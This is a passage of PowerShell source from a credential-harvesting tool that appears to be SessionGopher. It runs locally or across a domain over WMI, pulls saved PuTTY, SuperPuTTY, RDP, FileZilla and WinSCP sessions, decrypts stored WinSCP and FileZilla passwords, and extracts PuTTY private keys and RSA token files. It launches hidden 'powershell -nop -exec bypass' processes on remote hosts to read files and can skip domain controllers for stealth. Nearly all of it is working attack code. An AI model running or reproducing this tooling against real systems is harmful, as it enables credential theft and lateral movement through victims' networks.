hostname and usernames - SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored - RDP: contains hostname and username of sessions - FileZilla: hostname, username, relevant protocol information, decoded passwords if stored - WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used - #> - $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList - $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList - $ArrayOfRDPSessions = New-Object System.Collections.ArrayList - $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList - $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList - - # Construct tool registry/filesystem paths from SID or username - $RDPPath = $SID + $RDPPathEnding - $PuTTYPath = $SID + $PuTTYPathEnding - $WinSCPPath = $SID + $WinSCPPathEnding - $SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'" - $FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'" - - $RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds - $PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds - $WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds - $SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) - $FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) - - # If any WinSCP saved sessions exist on this box... - if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { - Write-Verbose "Found saved WinSCP sessions." - # Get all sessions - $WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames - - foreach ($WinSCPSession in $WinSCPSessions) { - - $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password - $WinSCPSessionObject.Source = $Source - $WinSCPSessionObject.Session = $WinSCPSession - - $Location = $WinSCPPath + "\" + $WinSCPSession - - $WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue - $WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue - $WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue - - if ($WinSCPSessionObject.Password) { - - $MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security" - - $MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue - - if (!$MasterPassUsed) { - $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) - } else { - $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" - } - - } - - [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) - - } # For Each WinSCP Session - - if ($ArrayOfWinSCPSessions.count -gt 0) { - - $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions - - if ($OutCSV) { - $ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation - } else { - Write-Output "WinSCP Sessions" - $ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String - } - - } - - } # If path to WinSCP exists - - if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { - Write-Verbose "Found saved PuTTY sessions." - # Get all sessions - $PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames - - foreach ($PuTTYSession in $PuTTYSessions) { - - $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname - - $Location = $PuTTYPath + "\" + $PuTTYSession - - $PuTTYSessionObject.Source = $Source - $PuTTYSessionObject.Session = $PuTTYSession - $PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue - - [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) - - } - - if ($ArrayOfPuTTYSessions.count -gt 0) { - - $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions - - if ($OutCSV) { - $ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation - } else { - Write-Output "PuTTY Sessions" - $ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String - } - - } - - } # If PuTTY session exists - - if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { - Write-Verbose "Found saved RDP sessions." - # Get all sessions - $RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames - - foreach ($RDPSession in $RDPSessions) { - - $RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username - - $Location = $RDPPath + "\" + $RDPSession - - $RDPSessionObject.Source = $Source - $RDPSessionObject.Hostname = $RDPSession - $RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue - - [void]$ArrayOfRDPSessions.Add($RDPSessionObject) - - } - - if ($ArrayOfRDPSessions.count -gt 0) { - - $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions - - if ($OutCSV) { - $ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation - } else { - Write-Output "Microsoft RDP Sessions" - $ArrayOfRDPSessions | Select-Object * | Format-List | Out-String - } - - } - - } # If RDP sessions exist - - # If we find the SuperPuTTY Sessions.xml file where we would expect it - if ($SuperPuTTYPath.Name) { - Write-Verbose "Found SupePuTTY sessions.xml" - $File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml" - $FileContents = DownloadAndExtractFromRemoteRegistry $File - - [xml]$SuperPuTTYXML = $FileContents - (ProcessSuperPuTTYFile $SuperPuTTYXML) - - } - - # If we find the FileZilla sitemanager.xml file where we would expect it - if ($FileZillaPath.Name) { - Write-Verbose "Found FileZilaa sitemanager.xml" - $File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml" - $FileContents = DownloadAndExtractFromRemoteRegistry $File - - [xml]$FileZillaXML = $FileContents - (ProcessFileZillaFile $FileZillaXML) - - } # FileZilla - - } # for each SID - - if ($Everything) { - Write-Verbose "Running the every test. Reading files on the target machine. This may take few minutes." - $ArrayofPPKFiles = New-Object System.Collections.ArrayList - $ArrayofRDPFiles = New-Object System.Collections.ArrayList - $ArrayofsdtidFiles = New-Object System.Collections.ArrayList - - $FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name) - - (ProcessThoroughRemote $FilePathsFound) - - } - - - # Check if the error is access denied. - $ourerror = $error[0] - if ($ourerror.Exception.Message.Contains("Access is denied.")) { - Write-Warning "Access Denied on $RemoteComputer" - } elseif ($ourerror.Exception.Message.Contains("The RPC server is unavailable.")) { - Write-Warning "Cannot connect to $RemoteComputer. Is the host up and accepting RPC connections?" - } else { - Write-Debug "$($ourerror.Exception.Message)" - } - } - }# for each remote computer - # Else, we run SessionGopher locally - } else { - - Write-Output "Digging on"(Hostname)"..." - - # Aggregate all user hives in HKEY_USERS into a variable - $UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'} - - # For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS. - foreach($Hive in $UserHives) { - - # Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information. - $UserObject = New-Object PSObject - - $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList - $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList - $ArrayOfPPKFiles = New-Object System.Collections.ArrayList - $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList - $ArrayOfRDPSessions = New-Object System.Collections.ArrayList - $ArrayOfRDPFiles = New-Object System.Collections.ArrayList - $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList - - $objUser = (GetMappedSID) - $Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf) - - $UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value - - # Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key - $PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding" - $WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding" - $MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding" - $FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml" - $SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml" - - if (Test-Path $FileZillaPath) { - - [xml]$FileZillaXML = Get-Content $FileZillaPath - (ProcessFileZillaFile $FileZillaXML) - - } - - if (Test-Path $SuperPuTTYPath) { - - [xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath - (ProcessSuperPuTTYFile $SuperPuTTYXML) - - } - - if (Test-Path $MicrosoftRDPPath) { - - # Aggregates all saved sessions from that user's RDP client - $AllRDPSessions = Get-ChildItem $MicrosoftRDPPath - - (ProcessRDPLocal $AllRDPSessions) - - } # If (Test-Path MicrosoftRDPPath) - - if (Test-Path $WinSCPPath) { - - # Aggregates all saved sessions from that user's WinSCP client - $AllWinSCPSessions = Get-ChildItem $WinSCPPath - - (ProcessWinSCPLocal $AllWinSCPSessions) - - } # If (Test-Path WinSCPPath) - - if (Test-Path $PuTTYPath) { - - # Aggregates all saved sessions from that user's PuTTY client - $AllPuTTYSessions = Get-ChildItem $PuTTYPath - - (ProcessPuTTYLocal $AllPuTTYSessions) - - } # If (Test-Path PuTTYPath) - - } # For each Hive in UserHives - - # If run in Thorough Mode - if ($Everything) { - - # Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem - $PPKExtensionFilesINodes = New-Object System.Collections.ArrayList - $RDPExtensionFilesINodes = New-Object System.Collections.ArrayList - $sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList - - # All drives found on system in one variable - $AllDrives = Get-PSDrive - - (ProcessThoroughLocal $AllDrives) - - (ProcessPPKFile $PPKExtensionFilesINodes) - (ProcessRDPFile $RDPExtensionFilesINodes) - (ProcesssdtidFile $sdtidExtensionFilesINodes) - - } # If Thorough - - } # Else -- run SessionGopher locally - -} # Invoke-SessionGopher - -#################################################################################### -#################################################################################### -## Registry Querying Helper Functions -#################################################################################### -#################################################################################### - -# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive -function GetMappedSID { - - # If getting SID from remote computer - if ($Inputlist -or $ComputerName -or $AllDomain) { - # Get the username for SID we discovered has saved sessions - $SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID" - $Value = "ProfileImagePath" - - (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue - # Else, get local SIDs - } else { - # Converts user SID in HKEY_USERS to username - $SID = (Split-Path $Hive.Name -Leaf) - $objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID") - $objSID.Translate( [System.Security.Principal.NTAccount]) - } - -} - -function DownloadAndExtractFromRemoteRegistry($File) { - # The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by - # downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location - $fullregistrypath = "HKLM:\Software\Microsoft\DRM" - $registrydownname = "ReadMe" - $regpath = "SOFTWARE\Microsoft\DRM" - - # On remote system, save file to registry - Write-Verbose "Reading remote file and writing on remote registry" - $remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force' - $remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"' - - $null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds - - # Sleeping to let remote system read and store file - Start-Sleep -s 15 - - $remote_reg = "" - - # Grab file from remote system's registry - $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds - - $decoded = [System.Convert]::FromBase64String($remote_reg.sValue) - $UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded) - - # Removing Registry value from remote system - $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds - - $UTF8decoded - -} - -#################################################################################### -#################################################################################### -## File Processing Helper Functions -#################################################################################### -#################################################################################### - -function ProcessThoroughLocal($AllDrives) { - - foreach ($Drive in $AllDrives) { - # If the drive holds a filesystem - if ($Drive.Provider.Name -eq "FileSystem") { - $Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue - foreach ($Dir in $Dirs) { - Switch ($Dir.Extension) { - ".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)} - ".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)} - ".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)} - } - } - } - } - -} - -function ProcessThoroughRemote($FilePathsFound) { - - foreach ($FilePath in $FilePathsFound) { - # Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File) - $EverythingObject = "" | Select-Object -Property Source,Path - $EverythingObject.Source = $RemoteComputer - - $Extension = [IO.Path]::GetExtension($FilePath.Name) - - if ($Extension -eq ".ppk") { - $EverythingObject.Path = $FilePath.Name - [void]$ArrayofPPKFiles.Add($EverythingObject) - } elseif ($Extension -eq ".rdp") { - $EverythingObject.Path = $FilePath.Name - [void]$ArrayofRDPFiles.Add($EverythingObject) - } elseif ($Extension -eq ".sdtid") { - $EverythingObject.Path = $FilePath.Name - [void]$ArrayofsdtidFiles.Add($EverythingObject) - } - - } - - if ($ArrayOfPPKFiles.count -gt 0) { - - $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles - - if ($OutCSV) { - $ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation - } else { - Write-Output "PuTTY Private Key Files (.ppk)" - $ArrayOfPPKFiles | Format-List | Out-String - } - } - - if ($ArrayOfRDPFiles.count -gt 0) { - - $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles - - if ($OutCSV) { - $ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation - } else { - Write-Output "Microsoft RDP Connection Files (.rdp)" - $ArrayOfRDPFiles | Format-List | Out-String - } - } - if ($ArrayOfsdtidFiles.count -gt 0) { - - $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles - - if ($OutCSV) { - $ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation - } else { - Write-Output "RSA Tokens (sdtid)" - $ArrayOfsdtidFiles | Format-List | Out-String - } - - } - -} # ProcessThoroughRemote - -function ProcessPuTTYLocal($AllPuTTYSessions) { - - # For each PuTTY saved session, extract the information we want - foreach($Session in $AllPuTTYSessions) { - - $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname - - $PuTTYSessionObject.Source = $Source - $PuTTYSessionObject.Session = (Split-Path $Session -Leaf) - $PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) - - # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. - [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) - - } - - if ($OutCSV) { - $ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation - } else { - Write-Output "PuTTY Sessions" - $ArrayOfPuTTYSessions | Format-List | Out-String - } - - # Add the array of PuTTY session objects to UserObject - $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions - -} # ProcessPuTTYLocal - -function ProcessRDPLocal($AllRDPSessions) { - - # For each RDP saved session, extract the information we want - foreach($Session in $AllRDPSessions) { - - $PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session - - $MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username - - $MicrosoftRDPSessionObject.Source = $Source - $MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf) - $MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint) - - # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. - [void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject) - - } # For each Session in AllRDPSessions - - if ($OutCSV) { - $ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation - } else { - Write-Output "Microsoft Remote Desktop (RDP) Sessions" - $ArrayOfRDPSessions | Format-List | Out-String - } - - # Add the array of RDP session objects to UserObject - $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions - -} #ProcessRDPLocal - -function ProcessWinSCPLocal($AllWinSCPSessions) { - - # For each WinSCP saved session, extract the information we want - foreach($Session in $AllWinSCPSessions) { - - $PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session - - $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password - - $WinSCPSessionObject.Source = $Source - $WinSCPSessionObject.Session = (Split-Path $Session -Leaf) - $WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) - $WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username) - $WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password) - - if ($WinSCPSessionObject.Password) { - $MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword) - - # If the user is not using a master password, we can crack it: - if (!$MasterPassUsed) { - $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) - # Else, the user is using a master password. We can't retrieve plaintext credentials for it. - } else { - $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" - } - } - - # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. - [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) - - } # For each Session in AllWinSCPSessions - - if ($OutCSV) { - $ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation - } else { - Write-Output "WinSCP Sessions" - $ArrayOfWinSCPSessions | Format-List | Out-String - } - - # Add the array of WinSCP session objects to the target user object - $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions - -} # ProcessWinSCPLocal - -function ProcesssdtidFile($sdtidExtensionFilesINodes) { - - foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) { - - $sdtidFileObject = "" | Select-Object -Property "Source","Path" - - $sdtidFileObject."Source" = $Source - $sdtidFileObject."Path" = $Path - - [void]$ArrayOfsdtidFiles.Add($sdtidFileObject) - - } - - if ($ArrayOfsdtidFiles.count -gt 0) { - - $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles - - if ($OutCSV) { - $ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation - } else { - Write-Output "RSA Tokens (sdtid)" - $ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String - } - - } - -} # Process sdtid File - -function ProcessRDPFile($RDPExtensionFilesINodes) { - - # Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes - foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) { - - $RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session" - - $RDPFileObject."Source" = (Hostname) - - # The next several lines use regex pattern matching to store relevant info from the .rdp file into our object - $RDPFileObject."Path" = $Path - $RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {} - $RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {} - $RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {} - $RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {} - - if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) { - $RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host" - } else { - $RDPFileObject."Administrative Session" = "Connects to admin session on remote host" - } - if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) { - $RDPFileObject."Prompts for Credentials" = "No" - } else { - $RDPFileObject."Prompts for Credentials" = "Yes" - } - - [void]$ArrayOfRDPFiles.Add($RDPFileObject) - - } - - if ($ArrayOfRDPFiles.count -gt 0) { - - $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles - - if ($OutCSV) { - $ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation - } else { - Write-Output "Microsoft RDP Connection Files (.rdp)" - $ArrayOfRDPFiles | Select-Object * | Format-List | Out-String - } - - } - -} # Process RDP File - -function ProcessPPKFile($PPKExtensionFilesINodes) { - - # Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes - foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) { - - # Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is - $PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC" - - $PPKFileObject."Source" = (Hostname) - - # The next several lines use regex pattern matching to store relevant info from the .ppk file into our object - $PPKFileObject."Path" = $Path - - $PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {} - $PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {} - $PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {} - $NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {} - $PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {} - $PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {} - - # Add the object we just created to the array of .ppk file objects - [void]$ArrayOfPPKFiles.Add($PPKFileObject) - - } - - if ($ArrayOfPPKFiles.count -gt 0) { - - $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles - - if ($OutCSV) { - $ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation - } else { - Write-Output "PuTTY Private Key Files (.ppk)" - $ArrayOfPPKFiles | Select-Object * | Format-List | Out-String - } - - } - -} # Process PPK File - -function ProcessFileZillaFile($FileZillaXML) { - - # Locate all nodes (aka session nodes), iterate over them - foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) { - # Hashtable to store each session's data - $FileZillaSessionHash = @{} - - # Iterates over each child node under (aka session) - $FileZillaSession.ChildNodes | ForEach-Object { - - $FileZillaSessionHash["Source"] = $Source - # If value exists, make a key-value pair for it in the hash table - if ($_.InnerText) { - if ($_.Name -eq "Pass") { - $FileZillaSessionHash["Password"] = $_.InnerText - } else { - # Populate session data based on the node name - $FileZillaSessionHash[$_.Name] = $_.InnerText - } - - } - - } - - # Create object from collected data, excluding some trivial information - [void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour)) - - } # ForEach FileZillaSession in FileZillaXML.SelectNodes() - - # base64_decode the stored encoded session passwords, and decode protocol - foreach ($Session in $ArrayOfFileZillaSessions) { - $Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password)) - if ($Session.Protocol -eq "0") { - $Session.Protocol = "Use FTP over TLS if available" - } elseif ($Session.Protocol -eq 1) { - $Session.Protocol = "Use SFTP" - } elseif ($Session.Protocol -eq 3) { - $Session.Protocol = "Require implicit FTP over TLS" - } elseif ($Session.Protocol -eq 4) { - $Session.Protocol = "Require explicit FTP over TLS" - } elseif ($Session.Protocol -eq 6) { - $Session.Protocol = "Only use plain FTP (insecure)" - } - } - - if ($OutCSV) { - $ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation - } else { - Write-Output "FileZilla Sessions" - $ArrayOfFileZillaSessions | Format-List | Out-String - } - - # Add the array of FileZilla session objects to the target user object - $UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions - -} # ProcessFileZillaFile - -function ProcessSuperPuTTYFile($SuperPuTTYXML) { - - foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) { - - foreach ($SuperPuTTYSession in $SuperPuTTYSessions) { - if ($SuperPuTTYSession -ne $null) { - - $SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session" - - $SuperPuTTYSessionObject."Source" = $Source - $SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId - $SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName - $SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host - $SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username - $SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs - $SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port - $SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession - - [void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject) - } - } - - } # ForEach SuperPuTTYSessions - - if ($OutCSV) { - $ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation - } else { - Write-Output "SuperPuTTY Sessions" - $ArrayOfSuperPuTTYSessions | Out-String - } - - # Add the array of SuperPuTTY session objects to the target user object - $UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions - -} # ProcessSuperPuTTYFile - -#################################################################################### -#################################################################################### -## WinSCP Deobfuscation Helper Functions -#################################################################################### -#################################################################################### - -# Gets all domain-joined computer names and properties in one object -function GetComputersFromActiveDirectory { - - $objDomain = New-Object System.DirectoryServices.DirectoryEntry - $objSearcher = New-Object System.DirectoryServices.DirectorySearcher - $objSearcher.SearchRoot = $objDomain - if ($ExcludeDC) { - Write-Verbose "Skipping enumeration against the Domain Controller(s) for stealth." - $Filter = "(&(objectCategory=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))" - } else { - $Filter = "(objectCategory=computer)" - } - - $objSearcher.Filter = $Filter - - $colProplist = "name" - - foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} - - $objSearcher.FindAll() 